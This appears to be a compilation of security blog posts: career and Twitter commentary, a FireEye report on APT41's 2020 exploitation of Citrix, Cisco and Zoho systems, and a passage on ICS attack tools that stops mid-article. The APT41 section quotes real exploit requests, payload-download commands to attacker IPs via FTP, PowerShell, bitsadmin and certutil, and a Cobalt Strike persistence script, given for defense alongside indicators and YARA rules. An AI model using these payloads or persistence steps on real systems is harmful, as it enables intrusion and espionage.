Malicious actors have always exploited users’ sense of urgency, fear, goodwill and mistrust to enhance their operations. The threat actors exploiting this crisis are not new, they are simply taking advantage of a particularly overtaxed target set that is urgently seeking new information. Users who are aware of this dynamic, and who approach any new information with cautious skepticism will be especially prepared to meet this challenge.

Skill Levels in Digital Security


Two posts in one day? These are certainly unusual times.

I was thinking about words to describe different skill levels in digital security. Rather than invent something, I decided to review terms that have established meaning. Thanks to Google Books I found this article in a 1922 edition of the Archives of Psychology that mentioned four key terms:

  1. The novice is a (person) who has no trade ability whatever, or at least none that could not be paralleled by practically any intelligent (person).
  2. An apprentice has acquired some of the elements of the trade but is not sufficiently skilled to be trusted with any important task.
  3. The journey(person) is qualified to perform almost any work done by members of the trade.
  4. An expert can perform quickly and with superior skill any work done by (people) in the trade.
I believe these four categories can apply to some degree to the needs of the digital security profession.

At GE-CIRT we had three levels -- event analyst, incident analyst, and incident handler. We did not hire novices, so those three roles map in some ways to apprentice, journeyperson, and expert. 

One difference with the classical description applies to how we worked with apprentices. We trusted apprentices, or event analysts, with specific tasks. We thought of this work as important, just as every role on a team is important. It may not have been leading an incident response, but without the work of the event and incident analysts, we may not have discovered many incidents!

Crucially, we encouraged event analysts, and incident analysts for that matter, to always be looking to exceed the parameters of their assigned duties.

However, we stipulated that if a person was working beyond their assigned duties, they had to have their work product reviewed by the next level of analysis. This enabled mentoring among the various groups. It also helped identify people who were candidates for promotion. If a person consistently worked beyond their assigned duties, and eventually reached a near-perfect or perfect ability to do that work, that proved he or she was ready to assume the next level.

This ability to access work beyond assigned duties is one reason I have problems with limiting data by role. I think everyone who works in a CIRT should have access to all of the data, assuming there are no classification, privacy, or active investigation constraints.

One of my laws is the following:

Analysts are good because they have good data. An expert with bad data is helpless. An apprentice with good data has a chance to do good work.

I've said it more eloquently elsewhere but this is the main point. 

For more information on the apprenticeship model, this article might be useful.

When You Should Blog and When You Should Tweet


I saw my like-minded, friend-that-I've-never-met Andrew Thompson Tweet a poll, posted above.

I was about to reply with the following Tweet:

"If I'm struggling to figure out how to capture a thought in just 1 Tweet, that's a sign that a blog post might be appropriate. I only use a thread, and no more than 2, and hardly ever 3 (good Lord), when I know I've got nothing more to say. "1/10," "1/n," etc. are not for me."

Then I realized I had something more to say, namely, other reasons blog posts are better than Tweets. For the briefest moment I considered adding a second Tweet, making, horror of horrors, a THREAD, and then I realized I would be breaking my own guidance.

Here are three reasons to consider blogging over Tweeting.

1. If you find yourself trying to pack your thoughts into a 280 character limit, then you should write a blog post. You might have a good idea, and instead of expressing it properly, you're falling into the trap of letting the medium define the message, aka the PowerPoint trap. I learned this from Edward Tufte: let the message define the medium, not the other way around.

2. Twitter threads lose the elegance and readability of the English language as our ancestors created it, for our benefit. They gave us structures, like sentences, lists, indentation, paragraphs, chapters, and so on. What does Twitter provide? 280 character chunks. Sure, you can apply feeble "1/n" annotations, but you've lost all that structure and readability, and for what?

3. In the event you're writing a Tweet thread that's really worth reading, writing it via Twitter virtually guarantees that it's lost to history. Twitter is an abomination for citation, search, and future reference. In the hierarchy of delivering content for current researchers and future generations, the hierarchy is the following, from lowest to highest:

  • "Transient," "bite-sized" social media, e.g., Twitter, Instagram, Facebook, etc. posts
  • Blog posts
  • Whitepapers
  • Academic papers in "electronic" journals
  • Electronic (e.g., Kindle) only formatted books
  • Print books (that may be stand-alone works, or which may contain journal articles)

Print book are the apex communication medium because we have such references going back hundreds of years. Hundreds of years from now, I doubt the first five formats above will be easily accessible, or accessible at all. However, in a library or personal collection somewhere, printed books will endure.

The bottom line is that if you think what you're writing is important enough to start a "1/n" Tweet thread, you've already demonstrated that Twitter is the wrong medium.

The natural follow-on might be: what is Twitter good for? Here are my suggestions:

  • Announcing a link to another, in-depth news resource, like a news article, blog post, whitepaper, etc.
  • Offering a comment on an in-depth news resource, or replying to another person's announcement.
  • Asking a poll question.
  • Asking for help on a topic.
  • Engaging in a short exchange with another user. Long exchanges on hot topics typically devolve into a confusing mess of messages and replies, that delivery of which Twitter has never really managed to figure out.

I understand the seduction of Twitter. I use it every day. However, when it really matters, blogging is preferable, followed by the other media I listed in point 3 above.

Update 0930 ET 27 Mar 2020: I forgot to mention that in extenuating circumstances, like live-Tweeting an emergency, Twitter threads on significant matters are fine because the urgency of the situation and the convenience or plain logistical limitations of the situation make Twitter indispensable. I'm less thrilled by live-Tweeting in conferences, although I'm guilty of it in the past. I'd prefer a thoughtful wrap-up post following the event, which I did a lot before Twitter became popular.

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats

There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.

To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.

ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number.

Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS

As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.


Figure 1: ICS attacker knowledge curve

The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.

ICS Cyber Operation Tool Classification

Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term "ICS-specific," as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.

We assigned each tool to at least one of eight different categories or classes, based on functionality.


Table 1: Classes of ICS-specific intrusion and attack tools

While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.

Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.


Figure 2: ICS-specific intrusion and attack tools by class

Software Exploit Modules

Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as AutosploitIndustrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework.

Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.

Exploit Modules Statistics

Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG.


Figure 3: ICS exploit modules by framework

Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.

It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).


Figure 4: Vendors with 10 exploit modules or more

Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.

Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately.

ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps

